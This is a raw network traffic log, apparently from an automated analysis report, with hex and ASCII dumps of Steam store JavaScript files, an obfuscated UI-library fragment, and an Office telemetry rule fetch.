_0x138aa6;},_0x4b9c53=(_0x4a0e88,_0x204af2)=>()=>(_0x204af2\|\|_0x4a0e88((_0x204af2={'exports':{}})[_0x4b85b2(0x232)],_0x204af2),_0x204af2[_0x4b85b2(0x232)]),_0x3e585=(_0x31feeb,_0x151e10,_0x487a1e,_0x39a836)=>{const _0x18
2024-10-07 06:47:05 UTC	1369	IN	Data Raw: 39 35 28 30 78 31 38 65 29 2c 27 70 61 64 64 69 6e 67 52 69 67 68 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 34 64 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 37 33 29 2c 27 6d 61 72 67 69 6e 4c 65 66 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 33 30 29 2c 27 6d 61 72 67 69 6e 54 6f 70 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 65 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 61 39 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 32 29 2c 27 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 27 2c 27 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 27 5d 2c 5f 30 78 63 63 62 39 34 34 3d 5f 30 78 37 39 30 39 36 65 5b 5f 30 78 34 37 30 31 39 35 28 30 78 31 61 63 29 5d 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 66 64 64 32 63 28 29 7b 63 6f 6e 73 74 20 Data Ascii: 95(0x18e),'paddingRight',_0x470195(0x24d),_0x470195(0x273),'marginLeft',_0x470195(0x230),'marginTop',_0x470195(0x22e),_0x470195(0x2a9),_0x470195(0x222),'borderTopWidth','borderBottomWidth'],_0xccb944=_0x79096e[_0x470195(0x1ac)];function _0x3fdd2c(){const
2024-10-07 06:47:05 UTC	1369	IN	Data Raw: 34 35 3d 5f 30 78 35 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 54 6f 70 27 5d 2b 5f 30 78 35 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 42 6f 74 74 6f 6d 27 5d 2c 5f 30 78 66 37 34 62 39 30 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 39 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 32 32 29 5d 2c 5f 30 78 35 37 33 36 37 65 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 64 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 36 34 29 5d 2c 5f 30 78 32 63 36 38 36 35 3d 5f 30 78 34 63 39 30 38 37 28 5f 30 78 33 62 32 38 39 37 5b 5f 30 78 34 39 31 35 32 36 28 30 78 31 63 37 29 5d 29 3b 5f 30 78 32 63 36 38 36 35 21 3d 3d 21 30 78 31 26 26 28 5f 30 78 Data Ascii: 45=_0x578c25['marginTop']+_0x578c25['marginBottom'],_0xf74b90=_0x578c25[_0x491526(0x2a9)]+_0x578c25[_0x491526(0x222)],_0x57367e=_0x578c25[_0x491526(0x2ad)]+_0x578c25[_0x491526(0x264)],_0x2c6865=_0x4c9087(_0x3b2897[_0x491526(0x1c7)]);_0x2c6865!==!0x1&&(_0x
2024-10-07 06:47:05 UTC	1369	IN	Data Raw: 5f 30 78 33 38 36 35 64 30 5d 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 62 64 65 37 30 5b 5f 30 78 31 30 64 63 65 62 28 30 78 32 36 35 29 5d 28 5f 30 78 33 62 63 39 39 63 29 7c 7c 5f 30 78 31 62 64 65 37 30 5b 27 70 75 73 68 27 5d 28 5f 30 78 33 62 63 39 39 63 29 2c 74 68 69 73 3b 7d 2c 5f 30 78 33 37 65 36 63 32 5b 5f 30 78 31 39 37 34 61 65 28 30 78 32 36 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 7b 63 6f 6e 73 74 20 5f 30 78 34 35 38 37 34 39 3d 5f 30 78 31 39 37 34 61 65 3b 69 66 28 21 5f 30 78 35 65 61 38 65 33 7c 7c 21 5f 30 78 32 37 37 62 36 61 29 72 65 74 75 72 6e 20 74 68 69 73 3b 74 68 69 73 5b 27 6f 6e 27 5d 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 3b 6c 65 74 Data Ascii: _0x3865d0]\|\|[];return _0x1bde70[_0x10dceb(0x265)](_0x3bc99c)\|\|_0x1bde70['push'](_0x3bc99c),this;},_0x37e6c2[_0x1974ae(0x263)]=function(_0x5ea8e3,_0x277b6a){const _0x458749=_0x1974ae;if(!_0x5ea8e3\|\|!_0x277b6a)return this;this['on'](_0x5ea8e3,_0x277b6a);let
2024-10-07 06:47:05 UTC	1369	IN	Data Raw: 65 20 74 68 69 73 5b 5f 30 78 34 63 31 34 62 64 28 30 78 31 64 37 29 5d 2c 74 68 69 73 3b 7d 2c 5f 30 78 31 32 31 32 36 30 3b 7d 29 29 3b 7d 29 2c 5f 30 78 33 38 33 32 30 35 3d 5f 30 78 34 62 39 63 35 33 28 28 5f 30 78 34 30 61 35 30 61 2c 5f 30 78 35 61 32 66 37 65 29 3d 3e 7b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 65 34 32 36 65 2c 5f 30 78 32 64 31 38 61 30 29 7b 63 6f 6e 73 74 20 5f 30 78 35 62 66 64 32 36 3d 5f 30 78 34 36 61 64 3b 74 79 70 65 6f 66 20 5f 30 78 35 61 32 66 37 65 3d 3d 5f 30 78 35 62 66 64 32 36 28 30 78 31 66 66 29 26 26 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3f 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3d 5f 30 78 32 64 31 38 61 30 28 5f 30 78 32 65 Data Ascii: e this[_0x4c14bd(0x1d7)],this;},_0x121260;}));}),_0x383205=_0x4b9c53((_0x40a50a,_0x5a2f7e)=>{(function(_0x2e426e,_0x2d18a0){const _0x5bfd26=_0x46ad;typeof _0x5a2f7e==_0x5bfd26(0x1ff)&&_0x5a2f7e[_0x5bfd26(0x232)]?_0x5a2f7e[_0x5bfd26(0x232)]=_0x2d18a0(_0x2e
2024-10-07 06:47:05 UTC	1369	IN	Data Raw: 73 5b 27 68 61 6e 64 6c 65 73 27 5d 5b 5f 30 78 34 30 66 65 38 66 28 30 78 32 30 64 29 5d 28 5f 30 78 33 37 30 38 39 36 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 33 35 36 61 39 62 3d 5f 30 78 34 30 66 65 38 66 3b 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 35 34 64 30 35 65 2c 74 68 69 73 29 2c 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 33 35 36 61 39 62 28 30 78 32 38 30 29 2c 74 68 69 73 29 2c 5f 30 78 39 33 37 36 33 35 5b 5f 30 78 33 35 36 61 39 62 28 30 78 31 63 64 29 5d 26 26 28 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 39 39 29 5d 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 34 63 29 5d 3d 5f 30 78 34 66 65 39 66 37 29 3b 7d 29 3b 7d 2c 5f 30 78 64 34 32 65 30 32 5b 5f 30 78 Data Ascii: s['handles'][_0x40fe8f(0x20d)](_0x370896=>{const _0x356a9b=_0x40fe8f;_0x370896[_0x24fff7](_0x54d05e,this),_0x370896[_0x24fff7](_0x356a9b(0x280),this),_0x937635[_0x356a9b(0x1cd)]&&(_0x370896[_0x356a9b(0x299)][_0x356a9b(0x24c)]=_0x4fe9f7);});},_0xd42e02[_0x
2024-10-07 06:47:05 UTC	1369	IN	Data Raw: 37 3d 5f 30 78 35 64 37 30 37 34 3b 74 68 69 73 5b 5f 30 78 31 33 61 39 33 37 28 30 78 31 62 61 29 5d 28 5f 30 78 34 30 30 63 31 37 2c 5f 30 78 34 30 30 63 31 37 29 3b 7d 3b 6c 65 74 20 5f 30 78 33 34 36 34 37 65 3d 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 64 63 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 31 63 39 29 2c 27 53 45 4c 45 43 54 27 2c 27 4f 50 54 49 4f 4e 27 5d 2c 5f 30 78 33 66 34 31 30 34 3d 5b 27 72 61 64 69 6f 27 2c 27 63 68 65 63 6b 62 6f 78 27 2c 27 62 75 74 74 6f 6e 27 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 38 33 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 36 36 29 2c 27 66 69 6c 65 27 5d 3b 72 65 74 75 72 6e 20 5f 30 78 64 34 32 65 30 32 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 62 61 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 Data Ascii: 7=_0x5d7074;this[_0x13a937(0x1ba)](_0x400c17,_0x400c17);};let _0x34647e=[_0x5d7074(0x1dc),_0x5d7074(0x1c9),'SELECT','OPTION'],_0x3f4104=['radio','checkbox','button',_0x5d7074(0x283),_0x5d7074(0x266),'file'];return _0xd42e02[_0x5d7074(0x1ba)]=function(_0x4
2024-10-07 06:47:05 UTC	1369	IN	Data Raw: 31 61 38 63 63 36 28 30 78 32 35 30 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 30 29 5d 2c 27 79 27 3a 5f 30 78 33 35 62 39 35 37 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 35 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 27 70 61 67 65 59 27 5d 7d 3b 74 68 69 73 5b 27 65 6d 69 74 45 76 65 6e 74 27 5d 28 5f 30 78 31 61 38 63 63 36 28 30 78 32 36 62 29 2c 5b 5f 30 78 34 32 66 37 61 36 2c 5f 30 78 33 35 62 39 35 37 2c 5f 30 78 33 65 37 32 64 63 5d 29 2c 21 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 31 62 66 29 5d 26 26 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 32 29 5d 28 5f 30 78 33 65 37 32 64 63 29 26 26 74 68 69 73 5b 27 Data Ascii: 1a8cc6(0x250)]-this[_0x1a8cc6(0x20b)][_0x1a8cc6(0x250)],'y':_0x35b957[_0x1a8cc6(0x255)]-this[_0x1a8cc6(0x20b)]['pageY']};this['emitEvent'](_0x1a8cc6(0x26b),[_0x42f7a6,_0x35b957,_0x3e72dc]),!this[_0x1a8cc6(0x1bf)]&&this[_0x1a8cc6(0x202)](_0x3e72dc)&&this['

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49818	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	552	OUT	GET /public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:05 UTC	350	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "sjouo3-33Gox" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=4216154 Expires: Mon, 25 Nov 2024 01:56:19 GMT Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Length: 9318 Connection: close
2024-10-07 06:47:05 UTC	9318	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 20 3d 20 7b 7d 3b 0d 0a 76 61 72 20 67 5f 4c 61 73 74 53 65 6c 65 63 74 48 69 64 65 54 69 6d 65 20 3d 20 30 3b 0d 0a 76 61 72 20 67 5f 66 6e 47 50 4f 6e 43 6c 6f 73 69 6e 67 4d 6f 64 61 6c 57 69 6e 64 6f 77 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 24 4a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6b 65 79 64 6f 77 6e 27 2c 20 48 61 6e 64 6c 65 4b 65 79 44 6f 77 6e 20 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 48 61 6e 64 6c 65 4d 6f 75 73 65 43 6c 69 63 6b 28 20 65 2c 20 6b 65 79 20 29 0d 0a 7b 0d 0a 09 09 09 69 66 20 28 20 21 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 5b 6b 65 79 5d 20 29 0d 0a 09 09 72 65 74 Data Ascii: var g_ActiveDropLists = {};var g_LastSelectHideTime = 0;var g_fnGPOnClosingModalWindow = null;$J(function() {$J(document).on( 'keydown', HandleKeyDown );});function HandleMouseClick( e, key ){if ( !g_ActiveDropLists[key] )ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49819	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	418	OUT	GET /public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:05 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "Q5tt-d8r0YLu" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=14479767 Expires: Sun, 23 Mar 2025 20:56:32 GMT Date: Mon, 07 Oct 2024 06:47:05 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:05 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 53 74 65 61 6d 20 3d 20 7b 0d 0a 09 73 6d 5f 62 49 6e 69 74 69 61 6c 69 7a 65 64 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 43 6c 69 65 6e 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 47 61 6d 65 4f 76 65 72 6c 61 79 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 54 65 6e 66 6f 6f 74 42 72 6f 77 73 65 72 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 43 68 61 74 3a 20 66 61 6c 73 65 2c 0d 0a 09 73 6d 5f 62 55 73 65 72 49 6e 4d 6f 62 69 6c 65 41 70 70 3a 20 66 61 6c 73 65 2c 0d 0a 0d 0a 09 42 49 73 55 73 65 72 49 6e 53 74 65 61 6d 43 6c 69 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 09 7b 0d 0a 09 09 69 66 20 28 20 21 53 74 Data Ascii: 0000C000Steam = {sm_bInitialized: false,sm_bUserInClient: false,sm_bUserInGameOverlay: false,sm_bUserInTenfootBrowser: false,sm_bUserInMobileChat: false,sm_bUserInMobileApp: false,BIsUserInSteamClient: function(){if ( !St
2024-10-07 06:47:05 UTC	15833	IN	Data Raw: 2e 61 70 70 65 6e 64 28 20 73 74 72 44 65 73 63 72 69 70 74 69 6f 6e 20 29 20 29 3b 0d 0a 0d 0a 09 69 66 20 28 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 20 3e 20 30 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 24 42 75 74 74 6f 6e 73 20 3d 20 24 4a 28 27 3c 64 69 76 2f 3e 27 2c 20 7b 27 63 6c 61 73 73 27 3a 20 27 6e 65 77 6d 6f 64 61 6c 5f 62 75 74 74 6f 6e 73 27 2c 20 27 64 61 74 61 2d 70 61 6e 65 6c 27 3a 20 27 7b 22 66 6c 6f 77 2d 63 68 69 6c 64 72 65 6e 22 3a 22 72 6f 77 22 7d 27 20 7d 20 29 3b 0d 0a 09 09 24 43 6f 6e 74 65 6e 74 2e 61 70 70 65 6e 64 28 20 24 42 75 74 74 6f 6e 73 20 29 3b 0d 0a 09 09 66 6f 72 28 20 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 72 67 42 75 74 74 6f 6e 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 0d 0a 09 09 7b 0d Data Ascii: .append( strDescription ) );if ( rgButtons.length > 0 ){var $Buttons = $J('<div/>', {'class': 'newmodal_buttons', 'data-panel': '{"flow-children":"row"}' } );$Content.append( $Buttons );for( var i = 0; i < rgButtons.length; i++ ){
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 65 6e 74 20 2e 63 6f 6f 6b 69 65 4d 65 73 73 61 67 65 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f 70 6f 70 75 70 5f 63 6f 6e 74 65 6e 74 20 2e 62 75 74 74 6f 6e 47 72 6f 75 70 20 7b 5c 72 5c 6e 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 72 6f 77 3b 5c 72 5c 6e 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 70 78 3b 5c 72 5c 6e 20 20 20 20 7d 5c 72 5c 6e 20 20 20 20 62 6f 64 79 2e 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 20 2e 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 5f Data Ascii: ent .cookieMessage {\r\n margin-bottom: 20px;\r\n }\r\n body.responsive_page .cookiepreferences_popup_content .buttonGroup {\r\n flex-direction: row;\r\n margin-left: 0px;\r\n }\r\n body.responsive_page .cookiepreferences_
2024-10-07 06:47:05 UTC	947	IN	Data Raw: 65 66 65 72 65 6e 63 65 4e 61 6d 65 2c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 20 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 21 42 49 6e 73 69 64 65 49 46 72 61 6d 65 28 29 20 26 26 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 61 75 6c 74 56 61 6c 75 65 3b 0d 0a 09 7d 0d 0a 09 65 6c 73 65 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 6f 53 74 6f 72 61 67 65 20 3d 20 5f 47 65 74 53 74 6f 72 61 67 65 46 72 6f 6d 43 6f 6f 6b 69 65 28 29 3b 0d 0a 0d 0a 09 09 72 65 74 75 72 6e 20 6f 53 74 6f 72 61 67 65 5b 73 74 72 50 72 65 66 65 72 65 6e 63 65 4e 61 6d 65 5d 20 7c 7c 20 64 65 66 Data Ascii: eferenceName, defaultValue ){if ( !BInsideIFrame() && window.localStorage ){return window.localStorage[strPreferenceName] \|\| defaultValue;}else{var oStorage = _GetStorageFromCookie();return oStorage[strPreferenceName] \|\| def
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 77 72 61 70 70 65 72 20 29 3b 0d 0a 09 09 65 6c 2e 72 65 6d 6f 76 65 28 29 3b 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 79 6e 61 6d 69 63 4c 69 6e 6b 5f 50 6c 61 79 56 69 6d 65 6f 56 69 64 65 6f 49 6e 6c 69 6e 65 28 20 65 6c 65 6d 2c 20 76 69 64 65 6f 69 64 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 65 6c 20 3d 20 24 4a 28 65 6c 65 6d 29 3b 0d 0a 09 76 61 72 20 76 69 64 65 6f 75 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 70 6c 61 79 65 72 2e 76 69 6d 65 6f 2e 63 6f 6d 2f 76 69 64 65 6f 2f 27 20 2b 20 76 69 64 65 6f 69 64 20 2b 20 27 3f 62 61 64 67 65 3d 30 26 61 75 74 6f 70 61 75 73 65 3d 30 26 61 75 74 6f 70 6c 61 79 3d 31 26 70 6c 61 79 65 72 5f 69 64 3d 30 27 3b 0d 0a 09 76 61 72 20 77 72 61 70 70 65 72 20 3d Data Ascii: 00004000wrapper );el.remove();}}function DynamicLink_PlayVimeoVideoInline( elem, videoid ){var el = $J(elem);var videourl = 'https://player.vimeo.com/video/' + videoid + '?badge=0&autopause=0&autoplay=1&player_id=0';var wrapper =
2024-10-07 06:47:05 UTC	12	IN	Data Raw: 20 28 20 21 74 68 69 73 2e 6d 0d 0a Data Ascii: ( !this.m
2024-10-07 06:47:05 UTC	914	IN	Data Raw: 30 30 30 30 30 33 38 36 0d 0a 5f 62 52 65 73 74 6f 72 69 6e 67 53 63 72 6f 6c 6c 54 6f 70 20 29 0d 0a 09 7b 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 09 7d 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 3d 20 70 61 72 73 65 49 6e 74 28 20 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 29 20 29 3b 0d 0a 09 69 66 20 28 20 73 63 72 6f 6c 6c 54 6f 70 50 72 65 76 69 6f 75 73 20 29 0d 0a 09 7b 0d 0a 09 09 76 61 72 20 76 69 65 77 70 6f 72 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 76 69 65 77 70 6f 72 74 2e 67 65 74 44 69 6d 65 6e 73 69 6f 6e 73 28 29 3b 20 2f 2f 20 47 65 74 73 20 74 68 65 20 76 69 65 77 70 6f 72 74 20 61 73 Data Ascii: 00000386_bRestoringScrollTop ){return;}var scrollTopPrevious = parseInt( $J( "#" + this.m_strElementPrefix + '_scroll_top').val() );if ( scrollTopPrevious ){var viewport = document.viewport.getDimensions(); // Gets the viewport as
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 73 28 29 3b 0d 0a 09 76 61 72 20 73 63 72 6f 6c 6c 54 6f 70 20 3d 20 73 63 72 6f 6c 6c 4f 66 66 73 65 74 2e 74 6f 70 3b 0d 0a 09 24 4a 28 20 22 23 22 20 2b 20 74 68 69 73 2e 6d 5f 73 74 72 45 6c 65 6d 65 6e 74 50 72 65 66 69 78 20 2b 20 27 5f 73 63 72 6f 6c 6c 5f 74 6f 70 27 29 2e 76 61 6c 28 20 73 63 72 6f 6c 6c 54 6f 70 20 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 43 41 6a 61 78 49 6e 66 69 6e 69 74 65 53 63 72 6f 6c 6c 69 6e 67 43 6f 6e 74 72 6f 6c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 4f 6e 53 63 72 6f 6c 6c 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 7b 0d 0a 09 69 66 20 28 20 74 68 69 73 2e 6d 5f 62 4c 6f 61 64 69 6e 67 20 29 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 0d 0a 09 76 61 72 20 69 4e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 Data Ascii: 00004000s();var scrollTop = scrollOffset.top;$J( "#" + this.m_strElementPrefix + '_scroll_top').val( scrollTop );};CAjaxInfiniteScrollingControls.prototype.OnScroll = function(){if ( this.m_bLoading )return;var iNow = new Date(
2024-10-07 06:47:05 UTC	12	IN	Data Raw: 65 6e 74 3b 0d 0a 09 09 09 7d 0d 0a Data Ascii: ent;}
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 0d 0a 0d 0a 09 09 09 5f 74 68 69 73 2e 6d 5f 66 6e 4f 6e 43 68 61 6e 67 65 28 20 5f 74 68 69 73 2e 6d 5f 6e 56 61 6c 75 65 2c 20 74 72 75 65 20 29 3b 0d 0a 09 09 7d 0d 0a 09 09 76 61 72 20 6e 49 6e 69 74 69 61 6c 50 6f 73 69 74 69 6f 6e 20 3d 20 70 61 72 73 65 49 6e 74 28 20 5f 74 68 69 73 2e 6d 5f 24 47 72 61 62 62 65 72 2e 63 73 73 28 27 6c 65 66 74 27 29 20 29 3b 0d 0a 09 09 76 61 72 20 6e 53 74 61 72 74 44 72 61 67 58 20 3d 20 66 6e 47 65 74 50 61 67 65 58 28 20 65 76 65 6e 74 20 29 3b 0d 0a 0d 0a 09 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6d 6f 75 73 65 6d 6f 76 65 2e 43 53 6c 69 64 65 72 20 74 6f 75 63 68 6d 6f 76 65 2e 43 53 6c 69 64 65 72 27 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 76 65 6e 74 20 29 20 Data Ascii: 00004000_this.m_fnOnChange( _this.m_nValue, true );}var nInitialPosition = parseInt( _this.m_$Grabber.css('left') );var nStartDragX = fnGetPageX( event );$J(document).on( 'mousemove.CSlider touchmove.CSlider', function( event )

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 3a03d6b9-d01e-0066-52e9-16ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064705Z-1657d5bbd48tnj6wmberkg2xy8000000037g000000004rde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

